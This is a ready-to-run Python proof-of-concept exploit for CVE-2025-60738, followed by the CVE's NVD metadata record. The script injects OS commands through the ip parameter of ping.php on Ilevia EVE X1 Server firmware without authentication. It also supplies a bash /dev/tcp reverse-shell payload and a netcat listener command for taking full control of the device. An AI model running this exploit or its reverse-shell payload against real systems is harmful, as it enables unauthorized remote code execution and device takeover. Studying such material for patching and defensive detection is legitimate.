CVE-2025-60738

import requests import sys # CVE-2025-60738 PoC - Ilevia EVE X1 Server RCE via ping.php # Target: Ilevia EVE X1 Server Firmware <= v4.7.18.0.eden # Vulnerability: Unauthenticated RCE via ping.php IP parameter injection def exploit(target_ip, target_port=80, attacker_ip='10.10.10.10', attacker_port=4444): """ Exploit CVE-2025-60738 by injecting OS commands into ping.php IP parameter. This PoC demonstrates RCE by executing a simple whoami command. For a full reverse shell, inject: bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 """ target_url = f"http://{target_ip}:{target_port}/ping.php" # RCE payload: inject 'whoami' command via pipe separator payload = f"| whoami" # POST data with vulnerable IP parameter data = { 'ip': payload, 'submit': 'Ping' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-60738-PoC)' } try: print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Sending exploit request...") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") # Check for command execution evidence in response if response.status_code == 200: print("[+] Exploit sent successfully. Check response for command output.") print("[*] Response preview:") print(response.text[:500]) else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True def reverse_shell_payload(attacker_ip, attacker_port): """ Generate a reverse shell payload for full RCE. Usage: Inject this as the IP parameter value. """ payload = f"| bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" print(f"[*] Reverse Shell Payload:") print(f" {payload}") print(f"[*] Start listener on attacker machine:") print(f" nc -lvnp {attacker_port}") return payload if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port] [attacker_ip] [attacker_port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 80 10.10.10.10 4444") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 attacker_ip = sys.argv[3] if len(sys.argv) > 3 else '10.10.10.10' attacker_port = int(sys.argv[4]) if len(sys.argv) > 4 else 4444 # Run basic RCE check exploit(target_ip, target_port, attacker_ip, attacker_port) # Show reverse shell payload print("\n[*] To get a reverse shell, use the following payload:") reverse_shell_payload(attacker_ip, attacker_port)

{"cve": {"id": "CVE-2025-60738", "sourceIdentifier": "[email protected]", "published": "2025-11-20T16:15:58.927", "lastModified": "2026-01-15T18:57:44.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Ilevia EVE X1 Server Firmware Version v4.7.18.0.eden and before Logic Version v6.00 - 2025_07_21 and before allows a remote attacker to execute arbitrary code via the ping.php component does not perform secure filtering on IP parameters"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ilevia:eve_x1_server_firmware:4.7.18.0:*:*:*:*:*:*:*", "matchCriteriaId": "900AF172-715F-41E7-A99F-C25A0FB77CF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:*", "matchCriteriaId": "72B4F8B5-4641-4371-8759-3AB18EC87FB6"}]}]}], "references": [{"url": "https://github.com/iSee857/ilevia-EVE-X1-Server", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}